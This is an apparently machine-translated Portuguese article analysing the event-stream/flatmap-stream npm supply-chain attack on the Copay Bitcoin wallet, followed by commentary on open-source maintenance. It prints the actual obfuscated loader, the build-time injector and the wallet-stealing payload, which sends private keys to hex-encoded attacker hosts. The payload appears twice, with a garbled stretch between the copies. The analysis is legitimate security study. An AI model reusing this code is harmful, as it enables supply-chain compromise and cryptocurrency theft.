A história da facilidade escandalosa de invadir a infraestrutura moderna de desenvolvimento de software

No final de outubro, uma mensagem de problema apareceu na extremamente popular ferramenta nodemon Node.js. O problema foi que o seguinte aviso foi exibido no console: DeprecationWarning: crypto.createDecipher is deprecated . Esses alertas sobre recursos desatualizados não são incomuns. Em particular, essa mensagem parecia bastante inofensiva. Ele nem se referia ao projeto nodemon em si, mas a uma de suas dependências. Essa ninharia poderia muito bem passar despercebida por qualquer pessoa, pois, em muitos casos, esses problemas são resolvidos por eles mesmos.

imagem

Cerca de duas semanas após a primeira menção desse problema, Ayrton Sparling verificou tudo e descobriu que o motivo do aviso era um novo vício bastante profundo. A mensagem veio de um pedaço estranho de código no final de um arquivo JavaScript minificado que não estava nas versões anteriores da biblioteca e que, de uma versão posterior, foi excluída. A pesquisa de Ayrton levou-o ao popular pacote npm de fluxo de eventos, que é baixado cerca de dois milhões de vezes por semana, e até recentemente estava sob o controle de um desenvolvedor de código aberto com boa reputação.

Alguns meses atrás, o controle do fluxo de eventos foi transferido para outra pessoa, um usuário pouco conhecido que solicitou , por email, o direito de publicar o pacote. Isso foi feito legalmente. Em seguida, esse usuário atualizou o pacote de fluxo de eventos, incluindo a dependência de malware de fluxo de mapa plano em sua versão de patch e, depois disso, publicou uma nova versão principal do pacote sem essa dependência. Graças a isso, ele queria tornar a mudança menos perceptível. Novos usuários, com maior probabilidade de interesse em dependências, instalariam a versão mais recente do fluxo de eventos (4.x no momento da redação deste artigo). E os usuários cujos projetos dependiam da versão anterior do pacote instalariam automaticamente a versão do patch infectado na próxima vez em que executassem o comando npm install (isso leva em consideração a abordagem comum para configurar versões do pacote adequadas para atualizações).

Detalhes do incidente


O código malicioso do flatmap-stream foi configurado para funcionar com um arquivo de dados que, além de algumas linhas muito ofuscadas de forma trivial, continha dois fragmentos criptografados, que só podiam ser descriptografados sabendo a senha.

 ! function() {   try {       var r = require,           t = process;       function e(r) {           return Buffer.from(r, "hex").toString()       }       var n = r(e("2e2f746573742f64617461")),           o = t[e(n[3])][e(n[4])];       if (!o) return;       var u = r(e(n[2]))[e(n[6])](e(n[5]), o),           a = u.update(n[0], e(n[8]), e(n[9]));       a += u.final(e(n[9]));       var f = new module.constructor;       f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])   } catch (r) {} }(); 

Chame esse fragmento de código Payload A Ele procura a senha na variável de ambiente npm_package_description definida por npm. Essa variável de ambiente contém uma descrição do pacote raiz, que permite que códigos maliciosos afetem apenas um pacote de destino específico. Jogada inteligente! Nesse caso, este pacote era o aplicativo cliente da carteira Bitcoin da Copay e a senha para descriptografar o código malicioso era a frase A Secure Bitcoin Wallet (isso foi revelado pelo usuário do gathub maths22 ).

Após o código da Payload A decodificar com êxito o primeiro dado, o código que chamamos de Payload B executado.

 /*@@*/ module.exports = function(e) {   try {       if (!/build\:.*\-release/.test(process.argv[2])) return;       var t = process.env.npm_package_description,           r = require("fs"),           i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",           n = r.statSync(i),           c = r.readFileSync(i, "utf8"),           o = require("crypto").createDecipher("aes256", t),           s = o.update(e, "hex", "utf8");       s = "\n" + (s += o.final("utf8"));       var a = c.indexOf("\n/*@@*/");       0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {           try {               r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)           } catch (e) {}       })   } catch (e) {} }; 

Este código verificou se o script seria executado exclusivamente com um argumento de linha de comando específico, com algo que correspondesse ao padrão build:*-release . Por exemplo, pode parecer com o npm run build:ios-release . Caso contrário, o script não foi executado. Essa execução de código limitada a apenas três scripts para a construção de projetos usados ​​no Copay. Ou seja, estamos falando de scripts responsáveis ​​pela criação da versão desktop do aplicativo e de suas versões para iOS e Android .

Em seguida, o script procurou outra dependência de aplicativo, a saber, ele estava interessado no arquivo ReedSolomonDecoder.js do pacote @ zxing / library . O código de Payload B não executou este arquivo. Ele simplesmente injetou o código Payload C nele, o que levou ao fato de que esse código seria executado no próprio aplicativo, quando o ReedSolomonDecoder carregado. Aqui está o código Payload C

 /*@@*/ ! function() {   function e() {       try {           var o = require("http"),               a = require("crypto"),               c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";           function i(e, t, n) {               e = Buffer.from(e, "hex").toString();               var r = o.request({                   hostname: e,                   port: 8080,                   method: "POST",                   path: "/" + t,                   headers: {                       "Content-Length": n.length,                       "Content-Type": "text/html"                   }               }, function() {});               r.on("error", function(e) {}), r.write(n), r.end()           }           function r(e, t) {               for (var n = "", r = 0; r < t.length; r += 200) {                   var o = t.substr(r, 200);                   n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"               }               i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)           }           function l(t, n) {               if (window.cordova) try {                   var e = cordova.file.dataDirectory;                   resolveLocalFileSystemURL(e, function(e) {                       e.getFile(t, {                           create: !1                       }, function(e) {                           e.file(function(e) {                               var t = new FileReader;                               t.onloadend = function() {                                   return n(JSON.parse(t.result))                               }, t.onerror = function(e) {                                   t.abort()                               }, t.readAsText(e)                           })                       })                   })               } catch (e) {} else {                   try {                       var r = localStorage.getItem(t);                       if (r) return n(JSON.parse(r))                   } catch (e) {}                   try {                       chrome.storage.local.get(t, function(e) {                           if (e) return n(JSON.parse(e[t]))                       })                   } catch (e) {}               }           }           global.CSSMap = {}, l("profile", function(e) {               for (var t in e.credentials) {                   var n = e.credentials[t];                   "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {                       var t = this;                       t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))                   }.bind(n))               }           });           var e = require("bitcore-wallet-client/lib/credentials.js");           e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {               var t = this.getKeysFunc(e);               try {                   global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))               } catch (e) {}               return t           }       } catch (e) {}   }   window.cordova ? document.addEventListener("deviceready", e) : e() \ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \ N2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / cJ / x76To \ n2wIDAQAB \ n ----- END /*@@*/ ! function() {   function e() {       try {           var o = require("http"),               a = require("crypto"),               c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";           function i(e, t, n) {               e = Buffer.from(e, "hex").toString();               var r = o.request({                   hostname: e,                   port: 8080,                   method: "POST",                   path: "/" + t,                   headers: {                       "Content-Length": n.length,                       "Content-Type": "text/html"                   }               }, function() {});               r.on("error", function(e) {}), r.write(n), r.end()           }           function r(e, t) {               for (var n = "", r = 0; r < t.length; r += 200) {                   var o = t.substr(r, 200);                   n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"               }               i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)           }           function l(t, n) {               if (window.cordova) try {                   var e = cordova.file.dataDirectory;                   resolveLocalFileSystemURL(e, function(e) {                       e.getFile(t, {                           create: !1                       }, function(e) {                           e.file(function(e) {                               var t = new FileReader;                               t.onloadend = function() {                                   return n(JSON.parse(t.result))                               }, t.onerror = function(e) {                                   t.abort()                               }, t.readAsText(e)                           })                       })                   })               } catch (e) {} else {                   try {                       var r = localStorage.getItem(t);                       if (r) return n(JSON.parse(r))                   } catch (e) {}                   try {                       chrome.storage.local.get(t, function(e) {                           if (e) return n(JSON.parse(e[t]))                       })                   } catch (e) {}               }           }           global.CSSMap = {}, l("profile", function(e) {               for (var t in e.credentials) {                   var n = e.credentials[t];                   "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {                       var t = this;                       t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))                   }.bind(n))               }           });           var e = require("bitcore-wallet-client/lib/credentials.js");           e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {               var t = this.getKeysFunc(e);               try {                   global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))               } catch (e) {}               return t           }       } catch (e) {}   }   window.cordova ? document.addEventListener("deviceready", e) : e() 

Payload A e a Payload B são projetadas para serem executadas no ambiente Node.js., no servidor de criação do projeto, mas a Payload C projetada para ser executada em um ambiente semelhante a um navegador sob o controle da estrutura Cordova (anteriormente PhoneGap ). Essa estrutura permite que você desenvolva aplicativos nativos para várias plataformas usando tecnologias da web - HTML, CSS e JavaScript. Os aplicativos clientes Copay (assim como os garfos deste projeto, como o FCash ), projetados para várias plataformas, são criados usando o Cordova. É para esses clientes que o ataque é direcionado. Esses aplicativos nativos são para usuários finais da Copay que gerenciam suas carteiras Bitcoin com eles. Essas carteiras eram de interesse do atacante. O script enviou os dados roubados para copayapi.host e em 111.90.151.134.

Conclusões decepcionantes


Desenvolver o que acabamos de falar é uma tarefa assustadora. Esse hack exigiu uma pesquisa séria e um esforço considerável para conduzir um ataque. O invasor provavelmente também tinha opções de fallback que ele usaria se não pudesse obter o controle do pacote de fluxo de eventos. Considerando como o ataque foi organizado, parece plausível que o atacante tenha sido originalmente direcionado especificamente para Copay, e não apenas tenha ganhado o controle da biblioteca popular, e então estava pensando sobre o que deveria fazer com ele. A popularidade do fluxo de eventos sugere que o invasor tinha uma maneira fácil de acessar computadores importantes em centenas de empresas em todo o mundo. Felizmente, a ameaça foi rapidamente detectada e neutralizada, dado o tempo que poderia ter passado despercebido, mas pensando no que poderia ter nos levado à conclusão óbvia: o código aberto está gravemente doente.

Vamos fazer uma lista dos motivos que levaram ao incidente acima:

  1. O aplicativo (Copay) foi criado com base em muitas dependências diferentes, enquanto sua árvore de dependências não foi bloqueada.
  2. Mesmo levando em consideração que a árvore de dependências não foi bloqueada, as dependências não foram armazenadas em cache, elas foram carregadas do repositório a cada construção do projeto.
  3. Milhares de outros projetos dependem do fluxo de eventos, eles usam configurações iguais ou semelhantes.
  4. Quem apoiou a biblioteca, da qual milhares de projetos dependem, parou de trabalhar nela.
  5. Milhares de projetos usaram essa biblioteca gratuitamente. Ao mesmo tempo, esperava-se que eles a sustentassem sem nenhuma compensação material.
  6. Quem apoiou a biblioteca transferiu o controle para o desconhecido apenas porque ele perguntou sobre isso.
  7. Não houve notificações de que o projeto mudou de proprietário e, mesmo assim, milhares de projetos simplesmente continuaram usando o pacote apropriado.
  8. De fato, esta lista continua ...

É assustador até pensar sobre o dano que a invasão discutida por nós poderia causar. Por exemplo, projetos extremamente sérios dependem do fluxo de eventos. Por exemplo, a CLI do Microsoft Azure . Vulneráveis ​​eram os computadores nos quais estão desenvolvendo este programa e os computadores nos quais ele é usado. Código mal-intencionado pode muito bem aparecer tanto nesses como em outros.

O problema aqui é que muitos projetos de software são construídos com base no que as pessoas que esperam fazê-lo trabalharão de graça. Eles criam programas úteis, estão envolvidos por algum tempo (ou talvez apenas os publicem e isso é tudo), e espera-se que apoiem seu desenvolvimento até o final dos tempos. Se isso não funcionar para eles, eles permanecem inativos, ignorando chamadas ou relatórios de vulnerabilidades em seus projetos ( culpados! ), Ou simplesmente entregando seus projetos a outras pessoas, esperando que eles possam sair e não se envolvam mais nele. Às vezes funciona. Às vezes não. Mas nada pode justificar as vulnerabilidades que, devido a esses fenômenos, aparecem no software. A propósito, até a detecção de um problema no fluxo de eventos, sua investigação e eliminação, foi realizada principalmente por voluntários de código aberto, cujo trabalho não é remunerado de forma alguma.

Tantas pessoas e organizações diferentes estão relacionadas ao que aconteceu que a busca por culpados específicos não faz muito sentido. O código aberto está gravemente doente e, quanto maior esse fenômeno, maior a probabilidade de desastres. Dado o potencial destrutivo do incidente discutido aqui, é uma sorte que o objetivo do invasor seja apenas um aplicativo.

Problemas semelhantes não estão limitados ao Node.js ou npm. Em ecossistemas relacionados, é observado um nível de confiança igualmente inapropriadamente alto em estranhos. Isso tem a ver com o PyPi no ambiente Python, RubyGems e GitHub também. Qualquer pessoa pode publicar nos serviços mencionados, sem qualquer notificação, transferindo o gerenciamento de seus projetos para qualquer pessoa. E mesmo sem ele, os projetos modernos usam tantos volumes de código de outras pessoas que uma análise completa do mesmo interromperia o trabalho de qualquer equipe por um longo tempo. Para cumprir os prazos apertados, os desenvolvedores instalam o que precisam e as equipes responsáveis ​​pelas ferramentas de segurança e verificação automática de código simplesmente não acompanham o ritmo do desenvolvimento rápido de programas em constante mudança.

Caros leitores! Como você se sente sobre o recente incidente no fluxo de eventos?



Source: https://habr.com/ru/post/pt434116/


All Articles